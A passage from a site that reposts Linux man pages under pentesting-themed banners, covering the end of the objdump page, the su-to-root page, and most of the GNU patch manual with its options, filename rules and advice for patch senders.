Displays the contents of the .trace_aranges section.

“u”

“=trace_abbrev”

Displays the contents of the .trace_abbrev section.

“U”

“=trace_info”

Displays the contents of the .trace_info section.

Note: displaying the contents of .debug_static_funcs, .debug_static_vars and debug_weaknames sections is not currently supported.

–dwarf-depth=n
Limit the dump of the .debug_info section to n children. This is only useful with –debug-dump=info. The default is to print all DIEs; the special value 0 for n will also have this effect. With a non-zero value for n, DIEs at or deeper than n levels will not be printed. The range for n is zero-based.

–dwarf-start=n
Print only DIEs beginning with the DIE numbered n. This is only useful with –debug-dump=info. If specified, this option will suppress printing of any header information and all DIEs before the DIE numbered n. Only siblings and children of the specified DIE will be printed. This can be used in conjunction with –dwarf-depth.

–dwarf-check
Enable additional checks for consistency of Dwarf information.

–ctf[=section]
Display the contents of the specified CTF section. CTF sections themselves contain many subsections, all of which are displayed in order. By default, display the name of the section named .ctf, which is the name emitted by ld.

–ctf-parent=member
If the CTF section contains ambiguously-defined types, it will consist of an archive of many CTF dictionaries, all inheriting from one dictionary containing unambiguous types. This member is by default named .ctf, like the section containing it, but it is possible to change this name using the ctf_link_set_memb_name_changer function at link time. When looking at CTF archives that have been created by a linker that uses the name changer to rename the parent archive member, –ctf-parent can be used to specify the name used for the parent.

–ctf-parent-section=section
This option lets you pick a completely different section for the CTF parent dictionary containing unambiguous types than for the child dictionaries that contain the ambiguous remainder. The linker does not emit ELF objects structured like this, but some third-party linkers may. It’s also convenient to inspect CTF written out as multiple raw files to compose them with objcopy, which can put them in different ELF sections but not in different members of a single CTF dict.

–sframe[=section]
Display the contents of the specified SFrame section. By default, display the name of the section named .sframe, which is the name emitted by ld.

-G

–stabs

Display the full contents of any sections requested. Display the contents of the .stab and .stab.index and .stab.excl sections from an ELF file. This is only useful on systems (such as Solaris 2.0) in which .stab debugging symbol-table entries are carried in an ELF section. In most other file formats, debugging symbol-table entries are interleaved with linkage symbols, and are visible in the –syms output.

–start-address=address
Start displaying data at the specified address. This affects the output of the -d, -r and -s options.

–stop-address=address
Stop displaying data at the specified address. This affects the output of the -d, -r and -s options.

-t

–syms

Print the symbol table entries of the file. This is similar to the information provided by the nm program, although the display format is different. The format of the output depends upon the format of the file being dumped, but there are two main types. One looks like this: [ 4](sec 3)(fl 0x00)(ty 0)(scl 3) (nx 1) 0x00000000 .bss [ 6](sec 1)(fl 0x00)(ty 0)(scl 2) (nx 0) 0x00000000 fred where the number inside the square brackets is the number of the entry in the symbol table, the sec number is the section number, the fl value are the symbol’s flag bits, the ty number is the symbol’s type, the scl number is the symbol’s storage class and the nx value is the number of auxiliary entries associated with the symbol. The last two fields are the symbol’s value and its name. The other common output format, usually seen with ELF based files, looks like this: 00000000 l d .bss 00000000 .bss 00000000 g .text 00000000 fred Here the first number is the symbol’s value (sometimes referred to as its address). The next field is actually a set of characters and spaces indicating the flag bits that are set on the symbol. These characters are described below. Next is the section with which the symbol is associated or *ABS* if the section is absolute (ie not connected with any section), or *UND* if the section is referenced in the file being dumped, but not defined there. After the section name comes another field, a number, which for common symbols is the alignment and for other symbol is the size. Finally the symbol’s name is displayed. The flag characters are divided into 7 groups as follows:

“l”

“g”

“u”

“!”

The symbol is a local (l), global (g), unique global (u), neither global nor local (a space) or both global and local (!). A symbol can be neither local or global for a variety of reasons, e.g., because it is used for debugging, but it is probably an indication of a bug if it is ever both local and global. Unique global symbols are a GNU extension to the standard set of ELF symbol bindings. For such a symbol the dynamic linker will make sure that in the entire process there is just one symbol with this name and type in use.

“w”
The symbol is weak (w) or strong (a space).

“C”
The symbol denotes a constructor (C) or an ordinary symbol (a space).

“W”
The symbol is a warning (W) or a normal symbol (a space). A warning symbol’s name is a message to be displayed if the symbol following the warning symbol is ever referenced.

“I”

“i”

The symbol is an indirect reference to another symbol (I), a function to be evaluated during reloc processing (i) or a normal symbol (a space).

“d”

“D”

The symbol is a debugging symbol (d) or a dynamic symbol (D) or a normal symbol (a space).

“F”

“f”

“O”

The symbol is the name of a function (F) or a file (f) or an object (O) or just a normal symbol (a space).

-T

–dynamic-syms

Print the dynamic symbol table entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries. This is similar to the information provided by the nm program when given the -D (–dynamic) option. The output format is similar to that produced by the –syms option, except that an extra field is inserted before the symbol’s name, giving the version information associated with the symbol. If the version is the default version to be used when resolving unversioned references to the symbol then it’s displayed as is, otherwise it’s put into parentheses.

–special-syms
When displaying symbols include those which the target considers to be special in some way and which would not normally be of interest to the user.

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment. The –unicode=locale option displays the sequence in the current locale, which may or may not support them. The options –unicode=hex and –unicode=invalid display them as hex byte sequences enclosed by either angle brackets or curly braces. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-V

–version

Print the version number of objdump and exit.

-x

–all-headers

Display all available header information, including the symbol table and relocation entries. Using -x is equivalent to specifying all of -a -f -h -p -r -t.

-w

–wide

Format some lines for output devices that have more than 80 columns. Also do not truncate symbol names when they are displayed.

-z

–disassemble-zeroes

Normally the disassembly output will skip blocks of zeroes. This option directs the disassembler to disassemble those blocks, just like any other data.

-Z

–decompress

The -Z option is meant to be used in conunction with the -s option. It instructs objdump to decompress any compressed sections before displaying their contents.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

nm (1), readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1194 - Linux cli command su-to-root

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command su-to-root and provides detailed information about the command su-to-root, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the su-to-root.

NAME 🖥️ su-to-root 🖥️

to-root - A simple script to give an `interactive’ front-end to su. It can be used in menu entry commands to ask for the root password

SYNOPSIS

su-to-root [-X] [-p <user>] -c <command>

DESCRIPTION

Most menu entries simply start an editor or a game or whatever. But some menu entries would like to give the user the ability to change important settings in the system, that require root privileges. su-to-root can be used to ask for the root password.

OPTIONS

-c <command>
The command to execute as a string. This option is mandatory.

-p <user>
The name of the user to change to, instead of root.

-X
The command is a X11 program that does not require a terminal. This is to be used with menu entries that declare needs=“X11”.

ENVIRONMENT

SU_TO_ROOT_X
Select the su-like program called by su-to-root -X. Supported values are gksu, kdesu, kde4su, ktsuss, sux, sudo-askpass, gksudo and kdesudo. kde4su denotes the KDE4 version of kdesu. sudo-askpass require ssh-askpass to be installed.

When this variable is not set su-to-root will currently try to use gksu, kdesu, kde4su, ktsuss, sux and the built-in code, in that order with the exception that under a KDE session, kdesu and kde4su are preferred over gksu.

The exact set of programs to try and their order is subject to change without notice.

SU_TO_ROOT_SU
Select the su-like program used in text mode. Supported values are sudo, sux and su, the later being the default.

FILES

/etc/su-to-rootrc

~/.su-to-rootrc
su-to-root will source these files at startup in this order. This lets you define and modify the environment variables above without restarting your X session.

COPYING

su-to-root is distributed under the GNU General Public License. (GPL 2.0 or greater).

AUTHORS

Joost Witteveen <[email protected]>

X11 support by Morten Brix Pedersen and Bill Allombert <[email protected]>

SEE ALSO

update-menus(1), menufile(5), /usr/share/doc/menu/html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1195 - Linux cli command patch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command patch and provides detailed information about the command patch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the patch.

NAME 🖥️ patch 🖥️

apply a diff file to an original

SYNOPSIS

patch [options] [originalfile [patchfile]]

but usually just

patch -pnum **<**patchfile

DESCRIPTION

patch takes a patch file patchfile containing a difference listing produced by the diff program and applies those differences to one or more original files, producing patched versions. Normally the patched versions are put in place of the originals. Backups can be made; see the -b or - -backup option. The names of the files to be patched are usually taken from the patch file, but if there’s just one file to be patched it can be specified on the command line as originalfile.

Upon startup, patch attempts to determine the type of the diff listing, unless overruled by a -c (- -context), -e (- -ed), -n (- -normal), or -u (- -unified) option. Context diffs (old-style, new-style, and unified) and normal diffs are applied by the patch program itself, while ed diffs are simply fed to the ed(1) editor via a pipe.

patch tries to skip any leading garbage, apply the diff, and then skip any trailing garbage. Thus you could feed an article or message containing a diff listing to patch, and it should work. If the entire diff is indented by a consistent amount, if lines end in CRLF, or if a diff is encapsulated one or more times by prepending “- " to lines starting with “-” as specified by Internet RFC 934, this is taken into account. After removing indenting or encapsulation, lines beginning with # are ignored, as they are considered to be comments.

With context diffs, and to a lesser extent with normal diffs, patch can detect when the line numbers mentioned in the patch are incorrect, and attempts to find the correct place to apply each hunk of the patch. As a first guess, it takes the line number mentioned for the hunk, plus or minus any offset used in applying the previous hunk. If that is not the correct place, patch scans both forwards and backwards for a set of lines matching the context given in the hunk. First patch looks for a place where all lines of the context match. If no such place is found, and it’s a context diff, and the maximum fuzz factor is set to 1 or more, then another scan takes place ignoring the first and last line of context. If that fails, and the maximum fuzz factor is set to 2 or more, the first two and last two lines of context are ignored, and another scan is made. (The default maximum fuzz factor is 2.)

Hunks with less prefix context than suffix context (after applying fuzz) must apply at the start of the file if their first line number is 1. Hunks with more prefix context than suffix context (after applying fuzz) must apply at the end of the file.

If patch cannot find a place to install that hunk of the patch, it puts the hunk out to a reject file, which normally is the name of the output file plus a .rej suffix, or # if .rej would generate a file name that is too long (if even appending the single character # makes the file name too long, then # replaces the file name’s last character).

The rejected hunk comes out in unified or context diff format. If the input was a normal diff, many of the contexts are simply null. The line numbers on the hunks in the reject file may be different than in the patch file: they reflect the approximate location patch thinks the failed hunks belong in the new file rather than the old one.

As each hunk is completed, you are told if the hunk failed, and if so which line (in the new file) patch thought the hunk should go on. If the hunk is installed at a different line from the line number specified in the diff, you are told the offset. A single large offset may indicate that a hunk was installed in the wrong place. You are also told if a fuzz factor was used to make the match, in which case you should also be slightly suspicious. If the - -verbose option is given, you are also told about hunks that match exactly.

If no original file origfile is specified on the command line, patch tries to figure out from the leading garbage what the name of the file to edit is, using the following rules.

First, patch takes an ordered list of candidate file names as follows:

·
If the header is that of a context diff, patch takes the old and new file names in the header. A name is ignored if it does not have enough slashes to satisfy the -pnum or **- -strip=**num option. The name /dev/null is also ignored.

·
If there is an Index: line in the leading garbage and if either the old and new names are both absent or if patch is conforming to POSIX, patch takes the name in the Index: line.

·
For the purpose of the following rules, the candidate file names are considered to be in the order (old, new, index), regardless of the order that they appear in the header.

Then patch selects a file name from the candidate list as follows:

·
If some of the named files exist, patch selects the first name if conforming to POSIX, and the best name otherwise.

·
If patch is not ignoring RCS, ClearCase, Perforce, and SCCS (see the **-g **num or **- -get=**num option), and no named files exist but an RCS, ClearCase, Perforce, or SCCS master is found, patch selects the first named file with an RCS, ClearCase, Perforce, or SCCS master.

·
If no named files exist, no RCS, ClearCase, Perforce, or SCCS master was found, some names are given, patch is not conforming to POSIX, and the patch appears to create a file, patch selects the best name requiring the creation of the fewest directories.

·
If no file name results from the above heuristics, you are asked for the name of the file to patch, and patch selects that name.

To determine the best of a nonempty list of file names, patch first takes all the names with the fewest path name components; of those, it then takes all the names with the shortest basename; of those, it then takes all the shortest names; finally, it takes the first remaining name.

Additionally, if the leading garbage contains a Prereq: line, patch takes the first word from the prerequisites line (normally a version number) and checks the original file to see if that word can be found. If not, patch asks for confirmation before proceeding.

The upshot of all this is that you should be able to say, while in a news interface, something like the following:

| patch -d /usr/src/local/blurfl

and patch a file in the blurfl directory directly from the article containing the patch.

If the patch file contains more than one patch, patch tries to apply each of them as if they came from separate patch files. This means, among other things, that it is assumed that the name of the file to patch must be determined for each diff listing, and that the garbage before each diff listing contains interesting things such as file names and revision level, as mentioned previously.

OPTIONS

-b or - -backup
Make backup files. That is, when patching a file, rename or copy the original instead of removing it. See the -V or - -version-control option for details about how backup file names are determined.

- -backup-if-mismatch
Back up a file if the patch does not match the file exactly and if backups are not otherwise requested. This is the default unless patch is conforming to POSIX.

- -no-backup-if-mismatch
Do not back up a file if the patch does not match the file exactly and if backups are not otherwise requested. This is the default if patch is conforming to POSIX.

-B pref or **- -prefix=**pref
Use the simple method to determine backup file names (see the **-V **method or **- -version-control **method option), and append pref to a file name when generating its backup file name. For example, with -B /junk/ the simple backup file name for src/patch/util.c is /junk/src/patch/util.c.

- -binary
Write all files in binary mode, except for standard output and /dev/tty. When reading, disable the heuristic for transforming CRLF line endings into LF line endings. This option is needed on POSIX systems when applying patches generated on non-POSIX systems to non-POSIX files. (On POSIX systems, file reads and writes never transform line endings. On Windows, reads and writes do transform line endings by default, and patches should be generated by diff - -binary when line endings are significant.)

-c or - -context
Interpret the patch file as a ordinary context diff.

-d dir or **- -directory=**dir
Change to the directory dir immediately, before doing anything else.

-D define or **- -ifdef=**define
Use the #ifdef . . . #endif construct to mark changes, with define as the differentiating symbol.

- -dry-run
Print the results of applying the patches without actually changing any files.

-e or - -ed
Interpret the patch file as an ed script.

-E or - -remove-empty-files
Remove output files that are empty after the patches have been applied. Normally this option is unnecessary, since patch can examine the time stamps on the header to determine whether a file should exist after patching. However, if the input is not a context diff or if patch is conforming to POSIX, patch does not remove empty patched files unless this option is given. When patch removes a file, it also attempts to remove any empty ancestor directories.

-f or - -force
Assume that the user knows exactly what he or she is doing, and do not ask any questions. Skip patches whose headers do not say which file is to be patched; patch files even though they have the wrong version for the Prereq: line in the patch; and assume that patches are not reversed even if they look like they are. This option does not suppress commentary; use -s for that.

-F num or **- -fuzz=**num
Set the maximum fuzz factor. This option only applies to diffs that have context, and causes patch to ignore up to that many lines of context in looking for places to install a hunk. Note that a larger fuzz factor increases the odds of a faulty patch. The default fuzz factor is 2. A fuzz factor greater than or equal to the number of lines of context in the context diff, ordinarily 3, ignores all context.

-g num or **- -get=**num
This option controls patch’s actions when a file is under RCS or SCCS control, and does not exist or is read-only and matches the default version, or when a file is under ClearCase or Perforce control and does not exist. If num is positive, patch gets (or checks out) the file from the revision control system; if zero, patch ignores RCS, ClearCase, Perforce, and SCCS and does not get the file; and if negative, patch asks the user whether to get the file. The default value of this option is given by the value of the PATCH_GET environment variable if it is set; if not, the default value is zero.

- -help
Print a summary of options and exit.

-i patchfile or **- -input=**patchfile
Read the patch from patchfile. If patchfile is -, read from standard input, the default.

-l or - -ignore-whitespace
Match patterns loosely, in case tabs or spaces have been munged in your files. Any sequence of one or more blanks in the patch file matches any sequence in the original file, and sequences of blanks at the ends of lines are ignored. Normal characters must still match exactly. Each line of the context must still match a line in the original file.

- -merge or - -merge=merge or - -merge=diff3
Merge a patch file into the original files similar to diff3(1) or merge(1). If a conflict is found, patch outputs a warning and brackets the conflict with <<<<<<< and >>>>>>> lines. A typical conflict will look like this:

«««< lines from the original file ||||||| original lines from the patch ======= new lines from the patch »»»>

The optional argument of - -merge determines the output format for conflicts: the diff3 format shows the ||||||| section with the original lines from the patch; in the merge format, this section is missing. The merge format is the default.

This option implies - -forward and does not take the –fuzz=num option into account.

-n or - -normal
Interpret the patch file as a normal diff.

-N or - -forward
When a patch does not apply, patch usually checks if the patch looks like it has been applied already by trying to reverse-apply the first hunk. The - -forward option prevents that. See also -R.

-o outfile or **- -output=**outfile
Send output to outfile instead of patching files in place. Do not use this option if outfile is one of the files to be patched. When outfile is -, send output to standard output, and send any messages that would usually go to standard output to standard error.

-pnum or **- -strip=**num
Strip the smallest prefix containing num leading slashes from each file name found in the patch file. A sequence of one or more adjacent slashes is counted as a single slash. This controls how file names found in the patch file are treated, in case you keep your files in a different directory than the person who sent out the patch. For example, supposing the file name in the patch file was

/u/howard/src/blurfl/blurfl.c

setting -p0 gives the entire file name unmodified, -p1 gives

u/howard/src/blurfl/blurfl.c

without the leading slash, -p4 gives

blurfl/blurfl.c

and not specifying -p at all just gives you blurfl.c. Whatever you end up with is looked for either in the current directory, or the directory specified by the -d option.

- -posix
Conform more strictly to the POSIX standard, as follows.

·
Take the first existing file from the list (old, new, index) when intuiting file names from diff headers.

·
Do not remove files that are empty after patching.

·
Do not ask whether to get files from RCS, ClearCase, Perforce, or SCCS.

·
Require that all options precede the files in the command line.

·
Do not backup files when there is a mismatch.

**- -quoting-style=**word
Use style word to quote output names. The word should be one of the following:

literal
Output names as-is.

shell
Quote names for the shell if they contain shell metacharacters or would cause ambiguous output.

shell-always
Quote names for the shell, even if they would normally not require quoting.

c
Quote names as for a C language string.

escape
Quote as with c except omit the surrounding double-quote characters.

You can specify the default value of the - -quoting-style option with the environment variable QUOTING_STYLE. If that environment variable is not set, the default value is shell.

-r rejectfile or **- -reject-file=**rejectfile
Put rejects into rejectfile instead of the default .rej file. When rejectfile is -, discard rejects.

-R or - -reverse
Assume that this patch was created with the old and new files swapped. (Yes, I’m afraid that does happen occasionally, human nature being what it is.) patch attempts to swap each hunk around before applying it. Rejects come out in the swapped format. The -R option does not work with ed diff scripts because there is too little information to reconstruct the reverse operation.

If the first hunk of a patch fails, patch reverses the hunk to see if it can be applied that way. If it can, you are asked if you want to have the -R option set. If it can’t, the patch continues to be applied normally. (Note: this method cannot detect a reversed patch if it is a normal diff and if the first command is an append (i.e. it should have been a delete) since appends always succeed, due to the fact that a null context matches anywhere. Luckily, most patches add or change lines rather than delete them, so most reversed normal diffs begin with a delete, which fails, triggering the heuristic.)

**- -read-only=**behavior
Behave as requested when trying to modify a read-only file: ignore the potential problem, warn about it (the default), or fail.

**- -reject-format=**format
Produce reject files in the specified format (either context or unified). Without this option, rejected hunks come out in unified diff format if the input patch was of that format, otherwise in ordinary context diff form.

-s or - -silent or - -quiet
Work silently, unless an error occurs.

- -follow-symlinks
When looking for input files, follow symbolic links. Replaces the symbolic links, instead of modifying the files the symbolic links point to. Git-style patches to symbolic links will no longer apply. This option exists for backwards compatibility with previous versions of patch; its use is discouraged.

-t or - -batch
Suppress questions like -f, but make some different assumptions: skip patches whose headers do not contain file names (the same as -f); skip patches for which the file has the wrong version for the Prereq: line in the patch; and assume that patches are reversed if they look like they are.

-T or - -set-time
Set the modification and access times of patched files from time stamps given in context diff headers. Unless specified in the time stamps, assume that the context diff headers use local time.

Use of this option with time stamps that do not include time zones is not recommended, because patches using local time cannot easily be used by people in other time zones, and because local time stamps are ambiguous when local clocks move backwards during daylight-saving time adjustments. Make sure that time stamps include time zones, or generate patches with UTC and use the -Z or - -set-utc option instead.

-u or - -unified
Interpret the patch file as a unified context diff.

-v or - -version
Print out patch’s revision header and patch level, and exit.

-V method or **- -version-control=**method
Use method to determine backup file names. The method can also be given by the PATCH_VERSION_CONTROL (or, if that’s not set, the VERSION_CONTROL) environment variable, which is overridden by this option. The method does not affect whether backup files are made; it affects only the names of any backup files that are made.

The value of method is like the GNU Emacs `version-control’ variable; patch also recognizes synonyms that are more descriptive. The valid values for method are (unique abbreviations are accepted):

existing or nil
Make numbered backups of files that already have them, otherwise simple backups. This is the default.

numbered or t
Make numbered backups. The numbered backup file name for F is F**.N** where N is the version number.

simple or never
Make simple backups. The -B or - -prefix, -Y or - -basename-prefix, and -z or - -suffix options specify the simple backup file name. If none of these options are given, then a simple backup suffix is used; it is the value of the SIMPLE_BACKUP_SUFFIX environment variable if set, and is .orig otherwise.

With numbered or simple backups, if the backup file name is too long, the backup suffix ~ is used instead; if even appending ~ would make the name too long, then ~ replaces the last character of the file name.

- -verbose
Output extra information about the work being done.

-x num or **- -debug=**num
Set internal debugging flags of interest only to patch patchers.

-Y pref or **- -basename-prefix=**pref
Use the simple method to determine backup file names (see the **-V **method or **- -version-control **method option), and prefix pref to the basename of a file name when generating its backup file name. For example, with -Y .del/ the simple backup file name for src/patch/util.c is src/patch/.del/util.c.

-z suffix or **- -suffix=**suffix
Use the simple method to determine backup file names (see the **-V **method or **- -version-control **method option), and use suffix as the suffix. For example, with -z - the backup file name for src/patch/util.c is src/patch/util.c-.

-Z or - -set-utc
Set the modification and access times of patched files from time stamps given in context diff headers. Unless specified in the time stamps, assume that the context diff headers use Coordinated Universal Time (UTC, often known as GMT). Also see the -T or - -set-time option.

The -Z or - -set-utc and -T or - -set-time options normally refrain from setting a file’s time if the file’s original time does not match the time given in the patch header, or if its contents do not match the patch exactly. However, if the -f or - -force option is given, the file time is set regardless.

Due to the limitations of diff output format, these options cannot update the times of files whose contents have not changed. Also, if you use these options, you should remove (e.g. with make clean) all files that depend on the patched files, so that later invocations of make do not get confused by the patched files’ times.

ENVIRONMENT

PATCH_GET
This specifies whether patch gets missing or read-only files from RCS, ClearCase, Perforce, or SCCS by default; see the -g or - -get option.

POSIXLY_CORRECT
If set, patch conforms more strictly to the POSIX standard by default: see the - -posix option.

QUOTING_STYLE
Default value of the - -quoting-style option.

SIMPLE_BACKUP_SUFFIX
Extension to use for simple backup file names instead of .orig.

TMPDIR, TMP, TEMP
Directory to put temporary files in; patch uses the first environment variable in this list that is set. If none are set, the default is system-dependent; it is normally /tmp on Unix hosts.

VERSION_CONTROL or PATCH_VERSION_CONTROL
Selects version control style; see the -v or - -version-control option.

FILES

$TMPDIR**/p***
temporary files

/dev/tty
controlling terminal; used to get answers to questions asked of the user

SEE ALSO

diff(1), ed(1), merge(1).

Marshall T. Rose and Einar A. Stefferud, Proposed Standard for Message Encapsulation, Internet RFC 934 <URL:ftp://ftp.isi.edu/in-notes/rfc934.txt> (1985-01).

NOTES FOR PATCH SENDERS

There are several things you should bear in mind if you are going to be sending out patches.

Create your patch systematically. A good method is the command **diff -Naur **old new where old and new identify the old and new directories. The names old and new should not contain any slashes. The diff command’s headers should have dates and times in Universal Time using traditional Unix format, so that patch recipients can use the -Z or - -set-utc option. Here is an example command, using Bourne shell syntax:

LC_ALL=C TZ=UTC0 diff -Naur gcc-2.7 gcc-2.8

Tell your recipients how to apply the patch by telling them which directory to cd to, and which patch options to use. The option string -Np1 is recommended. Test your procedure by pretending to be a recipient and applying your patch to a copy of the original files.

You can save people a lot of grief by keeping a patchlevel.h file which is patched to increment the patch level as the first diff in the patch file you send out. If you put a Prereq: line in with the patch, it won’t let them apply patches out of order without some warning.

You can create a file by sending out a diff that compares /dev/null or an empty file dated the Epoch (1970-01-01 00:00:00 UTC) to the file you want to create. This only works if the file you want to create doesn’t exist already in the target directory. Conversely, you can remove a file by sending out a context diff that compares the file to be deleted with an empty file dated the Epoch. The file will be removed unless patch is conforming to POSIX and the -E or - -remove-empty-files option is not given. An easy way to generate patches that create and remove files is to use GNU diff’s -N or - -new-file option.

If the recipient is supposed to use the -pN option, do not send output that looks like this:

diff -Naur v2.0.29/prog/README prog/README
- - - v2.0.29/prog/README Mon Mar 10 15:13:12 1997
+ + + prog/README Mon Mar 17 14:58:22 1997

because the two file names have different numbers of slashes, and different versions of patch interpret the file names differently. To avoid confusion, send output that looks like this instead:

diff -Naur v2.0.29/prog/README v2.0.30/prog/README
- - - v2.0.29/prog/README Mon Mar 10 15:13:12 1997
+ + + v2.0.30/prog/README Mon Mar 17 14:58:22 1997

Avoid sending patches that compare backup file names like README.orig, since this might confuse patch into patching a backup file instead of the real file. Instead, send patches that compare the same base file names in different directories, e.g. old/README and new/README.

Take care not to send out reversed patches, since it makes people wonder whether they already applied the patch.

Try not to have your patch modify derived files (e.g. the file configure where there is a line configure: configure.in in your makefile), since the recipient should be able to regenerate the derived files anyway. If you must send diffs of derived files, generate the diffs using UTC, have the recipients apply the patch with the -Z or - -set-utc option, and have them remove any unpatched files that depend on patched files (e.g. with make clean).

While you may be able to get away with putting 582 diff listings into one file, it may be wiser to group related patches into separate files in case something goes haywire.

DIAGNOSTICS

Diagnostics generally indicate that patch couldn’t parse your patch file.

If the - -verbose option is given, the message Hmm. . . indicates that there is unprocessed text in the patch file and that patch is attempting to intuit whether there is a patch in that text and, if so, what kind of patch it is.

patch’s exit status is 0 if all hunks are applied successfully, 1 if some hunks cannot be applied or there were merge conflicts, and 2 if there is more serious trouble. When applying a set of patches in a loop it behooves you to check this exit status so you don’t apply a later patch to a partially patched file.

CAVEATS

Context diffs cannot reliably represent the creation or deletion of empty files, empty directories, or special files such as symbolic links. Nor can they represent changes to file metadata like ownership, permissions, or whether one file is a hard link to another. If changes like these are also required, separate instructions (e.g. a shell script) to accomplish them should accompany the patch.

patch cannot tell if the line numbers are off in an ed script, and can detect bad line numbers in a normal diff only when it finds a change or deletion. A context diff using fuzz factor 3 may have the same problem. You should probably do a context diff in these cases to see if the changes made sense. Of course, compiling without errors is a pretty good indication that the patch worked, but not always.

patch usually produces the correct results, even when it has to do a lot of guessing. However, the results are guaranteed to be correct only when the patch is applied to exactly the same version of the file that the patch was generated from.

COMPATIBILITY ISSUES

The POSIX standard specifies behavior that differs from patch’s traditional behavior. You should be aware of these differences if you must interoperate with patch versions 2.1 and earlier, which do not conform to POSIX.

·
In traditional patch, the -p option’s operand was optional, and a bare -p was equivalent to -p0. The -p option now requires an operand, and -p 0 is now equivalent to -p0. For maximum compatibility, use options like -p0 and -p1.

Also, traditional patch simply counted slashes when stripping path prefixes; patch now counts pathname components. That is, a sequence of one or more adjacent slashes now counts as a single slash. For maximum portability, avoid sending patches containing // in file names.

·
In traditional patch, backups were enabled by default. This behavior is now enabled with the -b or - -backup option.

Conversely, in POSIX patch, backups are never made, even when there is a mismatch. In GNU patch, this behavior is enabled with the - -no-backup-if-mismatch option, or by conforming to POSIX with the - -posix option or by setting the POSIXLY_CORRECT environment variable.

The -b* suffix* option of traditional patch is equivalent to the -b -z* suffix* options of GNU patch.

·
Traditional patch used a complicated (and incompletely documented) method to intuit the name of the file to be patched from the patch header. This method did not conform to POSIX, and had a few gotchas. Now patch uses a different, equally complicated (but better documented) method that is optionally POSIX-conforming; we hope it has fewer gotchas. The two methods are compatible if the file names in the context diff header and the Index: line are all identical after prefix-stripping. Your patch is normally compatible if each header’s file names all contain the same number of slashes.

·
When traditional patch asked the user a question, it sent the question to standard error and looked for an answer from the first file in the following list that was a terminal: standard error, standard output, /dev/tty, and standard input. Now patch sends questions to standard output and gets answers from /dev/tty. Defaults for some answers have been changed so that patch never goes into an infinite loop when using default answers.

·
Traditional patch exited with a status value that counted the number of bad hunks, or with status 1 if there was real trouble. Now patch exits with status 1 if some hunks failed, or with 2 if there was real trouble.

·
Limit yourself to the following options when sending instructions meant to be executed by anyone running GNU patch, traditional patch, or a patch that conforms to POSIX. Spaces are significant in the following list, and operands are required.

-c
-d dir
-D define
-e
-l
-n
-N
-o outfile
-pnum
-R
-r rejectfile

BUGS

Please report bugs via email to <[email protected]>.

If code has been duplicated (for instance with #ifdef OLDCODE . . . #else . . . #endif), patch is incapable of patching both versions, and, if it works at all, will likely patch the wrong one, and tell you that it succeeded to boot.

If you apply a patch you’ve already applied, patch thinks it is a reversed patch, and offers to un-apply the patch. This could be construed as a feature.

Computing how to merge a hunk is significantly harder than using the standard fuzzy algorithm. Bigger hunks, more context, a bigger offset from the original location, and a worse match all slow the algorithm down.

COPYING

Copyright (C) 1984, 1985, 1986, 1988 Larry Wall.
Copyright (C) 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2009 Free Software Foundation, Inc.

